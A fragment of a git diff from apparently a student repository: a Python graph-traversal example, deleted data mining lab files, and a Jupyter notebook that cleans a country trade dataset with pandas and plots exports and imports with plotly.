+ g.addEdge(0, 1) + g.addEdge(0, 2) + g.addEdge(1, 2) + g.addEdge(2, 0) + g.addEdge(2, 3) + g.addEdge(3, 3) + + print "Following is Depth First Traversal" + g.DFS() + diff --git a/Add Code Here/PYTHON/Data Mining Lab/DM lab_codes b/Add Code Here/PYTHON/Data Mining Lab/DM lab_codes deleted file mode 100644 index 8b137891791..00000000000 --- a/Add Code Here/PYTHON/Data Mining Lab/DM lab_codes +++ /dev/null @@ -1 +0,0 @@ - diff --git a/Add Code Here/PYTHON/Data Mining Lab/boxplot.py b/Add Code Here/PYTHON/Data Mining Lab/boxplot.py deleted file mode 100644 index 1ca67603b44..00000000000 --- a/Add Code Here/PYTHON/Data Mining Lab/boxplot.py +++ /dev/null @@ -1,78 +0,0 @@ -import matplotlib.pyplot as plt -import numpy as np -import pandas as pd -import csv -def calmin(myarr): - mini=myarr[0] - for x in myarr: - if(mini>x): - mini=x - - return mini -def calmax(myarr): - maxi=myarr[0] - for x in myarr: - if(maxi\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
CountryExportImportTotal TradeTrade BalanceYear(start)Year(end)
0AFGHANISTAN21.2510.731.9510.559798
1AFGHANISTAN12.8128.1440.95-15.339899
2AFGHANISTAN33.221.0654.2612.15992000
3AFGHANISTAN25.8626.5952.45-0.7320002001
4AFGHANISTAN24.3717.5241.896.8520012002
5AFGHANISTAN60.7718.4679.2342.3120022003
6AFGHANISTAN145.4740.51185.98104.9620032004
7AFGHANISTAN165.4447.01212.44118.4320042005
8AFGHANISTAN142.6758.42201.0984.2420052006
9AFGHANISTAN182.1134.37216.48147.7320062007
\n", - "" - ], - "text/plain": [ - " Country Export Import Total Trade Trade Balance Year(start) \\\n", - "0 AFGHANISTAN 21.25 10.7 31.95 10.55 97 \n", - "1 AFGHANISTAN 12.81 28.14 40.95 -15.33 98 \n", - "2 AFGHANISTAN 33.2 21.06 54.26 12.15 99 \n", - "3 AFGHANISTAN 25.86 26.59 52.45 -0.73 2000 \n", - "4 AFGHANISTAN 24.37 17.52 41.89 6.85 2001 \n", - "5 AFGHANISTAN 60.77 18.46 79.23 42.31 2002 \n", - "6 AFGHANISTAN 145.47 40.51 185.98 104.96 2003 \n", - "7 AFGHANISTAN 165.44 47.01 212.44 118.43 2004 \n", - "8 AFGHANISTAN 142.67 58.42 201.09 84.24 2005 \n", - "9 AFGHANISTAN 182.11 34.37 216.48 147.73 2006 \n", - "\n", - " Year(end) \n", - "0 98 \n", - "1 99 \n", - "2 2000 \n", - "3 2001 \n", - "4 2002 \n", - "5 2003 \n", - "6 2004 \n", - "7 2005 \n", - "8 2006 \n", - "9 2007 " - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.head(10)" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "id": "efed255b-cc57-4eec-bfa5-da829cbf4a9a", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(5767, 7)" - ] - }, - "execution_count": 4, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.shape" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "id": "bd3a46e5-ac6a-4ee9-8cfb-cad7879b8fcd", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Index(['Country', 'Export', 'Import', 'Total Trade', 'Trade Balance',\n", - " 'Year(start)', 'Year(end)'],\n", - " dtype='object')" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.columns" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "id": "2f480e47-9c58-43ca-8d4a-3d95e39d5f88", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "AFGHANISTAN 25\n", - "NICARAGUA 25\n", - "MONTSERRAT 25\n", - "MOROCCO 25\n", - "MOZAMBIQUE 25\n", - " ..\n", - "GUERNSEY 4\n", - "INSTALLATIONS IN INTERNATIONAL WATERS 3\n", - "CURACAO 2\n", - "JERSEY 2\n", - "SVALLBARD AND J 1\n", - "Name: Country, Length: 250, dtype: int64" - ] - }, - "execution_count": 6, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "country=df.Country.value_counts()\n", - "country" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "48141b38-6b5a-43dd-a9c8-2e68488c0cbc", - "metadata": {}, - "outputs": [], - "source": [] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "265a2769-52f0-48c8-ac07-8b24871c3dbc", - "metadata": {}, - "outputs": [], - "source": [] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "489773fd-37b1-4c9d-9035-aa9a70596bcc", - "metadata": {}, - "outputs": [], - "source": [] - }, - { - "cell_type": "code", - "execution_count": 7, - "id": "24ff9642-70b9-4948-9382-a2a723625f31", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0 10.7\n", - "1 28.14\n", - "2 21.06\n", - "3 26.59\n", - "4 17.52\n", - " ... \n", - "5762 62.2\n", - "5763 7.79\n", - "5764 13.59\n", - "5765 5.71\n", - "5766 1.69\n", - "Name: Import, Length: 5767, dtype: object" - ] - }, - "execution_count": 7, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df['Total Trade'].apply(lambda x: str(x))\n", - "df['Export'].apply(lambda x: str(x))\n", - "df['Import'].apply(lambda x: str(x))" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "id": "3e2a160d-fdbe-430d-9548-24ff43831c45", - "metadata": {}, - "outputs": [], - "source": [ - "df['Total Trade'] =df['Total Trade'].astype(str)\n", - "df['Export'] =df['Export'].astype(str)\n", - "df['Import'] =df['Import'].astype(str)" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "id": "bcfcdfeb-7639-4ab5-89eb-5d27cac25a61", - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\MCG\\AppData\\Local\\Temp/ipykernel_12732/3124171252.py:2: SettingWithCopyWarning: \n", - "A value is trying to be set on a copy of a slice from a DataFrame\n", - "\n", - "See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy\n", - " df['Total Trade'][i] = (df['Total Trade'][i]).replace(',','')\n", - "C:\\Users\\MCG\\AppData\\Local\\Temp/ipykernel_12732/3124171252.py:3: SettingWithCopyWarning: \n", - "A value is trying to be set on a copy of a slice from a DataFrame\n", - "\n", - "See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy\n", - " df['Total Trade'][i] = (df['Total Trade'][i]).replace('nan','0')\n", - "C:\\Users\\MCG\\AppData\\Local\\Temp/ipykernel_12732/3124171252.py:4: SettingWithCopyWarning: \n", - "A value is trying to be set on a copy of a slice from a DataFrame\n", - "\n", - "See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy\n", - " df['Export'][i] = (df['Export'][i]).replace(',','')\n", - "C:\\Users\\MCG\\AppData\\Local\\Temp/ipykernel_12732/3124171252.py:5: SettingWithCopyWarning: \n", - "A value is trying to be set on a copy of a slice from a DataFrame\n", - "\n", - "See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy\n", - " df['Export'][i] = (df['Export'][i]).replace('nan','0')\n", - "C:\\Users\\MCG\\AppData\\Local\\Temp/ipykernel_12732/3124171252.py:6: SettingWithCopyWarning: \n", - "A value is trying to be set on a copy of a slice from a DataFrame\n", - "\n", - "See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy\n", - " df['Import'][i] = (df['Import'][i]).replace(',','')\n", - "C:\\Users\\MCG\\AppData\\Local\\Temp/ipykernel_12732/3124171252.py:7: SettingWithCopyWarning: \n", - "A value is trying to be set on a copy of a slice from a DataFrame\n", - "\n", - "See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy\n", - " df['Import'][i] = (df['Import'][i]).replace('nan','0')\n" - ] - } - ], - "source": [ - "for i in range(0,len(df)):\n", - " df['Total Trade'][i] = (df['Total Trade'][i]).replace(',','')\n", - " df['Total Trade'][i] = (df['Total Trade'][i]).replace('nan','0')\n", - " df['Export'][i] = (df['Export'][i]).replace(',','')\n", - " df['Export'][i] = (df['Export'][i]).replace('nan','0')\n", - " df['Import'][i] = (df['Import'][i]).replace(',','')\n", - " df['Import'][i] = (df['Import'][i]).replace('nan','0')" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "id": "3ab989a5-fec1-447c-a32d-b5b56ba630ba", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0 10.70\n", - "1 28.14\n", - "2 21.06\n", - "3 26.59\n", - "4 17.52\n", - " ... \n", - "5762 62.20\n", - "5763 7.79\n", - "5764 13.59\n", - "5765 5.71\n", - "5766 1.69\n", - "Name: Import, Length: 5767, dtype: float64" - ] - }, - "execution_count": 10, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df['Total Trade'].apply(lambda x : float(x))\n", - "df['Export'].apply(lambda x : float(x))\n", - "df['Import'].apply(lambda x : float(x))" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "id": "98bab68c-97b0-441b-84c3-71b45548c109", - "metadata": {}, - "outputs": [], - "source": [ - "df.fillna(0,inplace=True)" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "id": "25c9d389-27b3-4d13-85ba-d07905174348", - "metadata": {}, - "outputs": [], - "source": [ - "df['Total Trade'] = pd.to_numeric(df['Total Trade'])\n", - "df['Export'] = pd.to_numeric(df['Export'])\n", - "df['Import'] = pd.to_numeric(df['Import'])" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "id": "5883a9ff-19f6-44b3-aeb1-ab815157c152", - "metadata": {}, - "outputs": [], - "source": [ - "df['Year(start)'].apply(lambda x : str(x))\n", - "df['Year(start)'] =df['Year(start)'].astype(str)" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "id": "8bfb5784-1421-4e8a-9782-83fe079cb676", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "\n", - "RangeIndex: 5767 entries, 0 to 5766\n", - "Data columns (total 7 columns):\n", - " # Column Non-Null Count Dtype \n", - "--- ------ -------------- ----- \n", - " 0 Country 5767 non-null object \n", - " 1 Export 5767 non-null float64\n", - " 2 Import 5767 non-null float64\n", - " 3 Total Trade 5767 non-null float64\n", - " 4 Trade Balance 5767 non-null object \n", - " 5 Year(start) 5767 non-null object \n", - " 6 Year(end) 5767 non-null int64 \n", - "dtypes: float64(3), int64(1), object(3)\n", - "memory usage: 315.5+ KB\n" - ] - } - ], - "source": [ - "df.info()" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "id": "78ac83ec-7b41-4f60-910e-34cbc97db9e9", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - " \n", - " " - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 21.25, - 12.81, - 33.2, - 25.86, - 24.37, - 60.77, - 145.47, - 165.44, - 142.67, - 182.11, - 249.21, - 394.23, - 463.55, - 422.41, - 510.9, - 472.63, - 474.34, - 422.56, - 526.6, - 506.34, - 709.75, - 715.44, - 997.58, - 825.78, - 401.72 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "AFGHANISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 21.25, - 12.81, - 33.2, - 25.86, - 24.37, - 60.77, - 145.47, - 165.44, - 142.67, - 182.11, - 249.21, - 394.23, - 463.55, - 422.41, - 510.9, - 472.63, - 474.34, - 422.56, - 526.6, - 506.34, - 709.75, - 715.44, - 997.58, - 825.78, - 401.72 - ] - }, - { - "mode": "lines", - "name": "NICARAGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.57, - 1.11, - 2.52, - 4.06, - 5.75, - 5.23, - 5.96, - 11.38, - 10.63, - 14.89, - 54.16, - 20.7, - 23.2, - 30.01, - 45.7, - 59.26, - 59.23, - 65.51, - 82.54, - 86.33, - 87.31, - 53.87, - 65.52, - 89.67, - 81.48 - ] - }, - { - "mode": "lines", - "name": "MONTSERRAT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.1, - 0.15, - 0.06, - 0.02, - 0.39, - 0.35, - 0.4, - 0.25, - 0.16, - 0.07, - 0.2, - 0.13, - 0.53, - 0.28, - 0.04, - 0.07, - 0.33, - 0.96, - 0.62, - 0.02, - 0.06, - 0.06, - 0.07, - 0.08 - ] - }, - { - "mode": "lines", - "name": "MOROCCO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 28.26, - 28.45, - 26.16, - 40.08, - 55.55, - 127.11, - 87.72, - 112.48, - 127.51, - 164.45, - 208.43, - 242.85, - 250.47, - 318.57, - 372.1, - 426.56, - 385.61, - 326.31, - 342.19, - 373.91, - 432.32, - 680.06, - 799.45, - 507.62, - 606.57 - ] - }, - { - "mode": "lines", - "name": "MOZAMBIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 29.94, - 22.79, - 31.89, - 32.04, - 30.87, - 46.68, - 69.14, - 81.3, - 127.54, - 192.25, - 442.53, - 427.44, - 358.38, - 605.17, - 533.36, - 1001.18, - 1257.26, - 2070.84, - 1241.94, - 1009.97, - 900.58, - 1073.31, - 2174.31, - 1231.34, - 1499.04 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 10.7, - 28.14, - 21.06, - 26.59, - 17.52, - 18.46, - 40.51, - 47.01, - 58.42, - 34.37, - 109.97, - 126.24, - 125.19, - 146.03, - 132.5, - 159.55, - 208.77, - 261.91, - 307.9, - 292.9, - 433.78, - 435.44, - 529.84, - 509.49, - 412.78 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "AFGHANISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.7, - 28.14, - 21.06, - 26.59, - 17.52, - 18.46, - 40.51, - 47.01, - 58.42, - 34.37, - 109.97, - 126.24, - 125.19, - 146.03, - 132.5, - 159.55, - 208.77, - 261.91, - 307.9, - 292.9, - 433.78, - 435.44, - 529.84, - 509.49, - 412.78 - ] - }, - { - "mode": "lines", - "name": "NICARAGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.03, - 0.02, - 0.58, - 0.49, - 0.34, - 0.2, - 5.49, - 0.07, - 0.38, - 0.61, - 0.35, - 0.91, - 0.97, - 0.82, - 2.65, - 2.19, - 3.85, - 2.62, - 4.17, - 3.6, - 3.6, - 6.18, - 6.72 - ] - }, - { - "mode": "lines", - "name": "MONTSERRAT", - "type": "scatter", - "x": [ - "97", - "98", - "99", 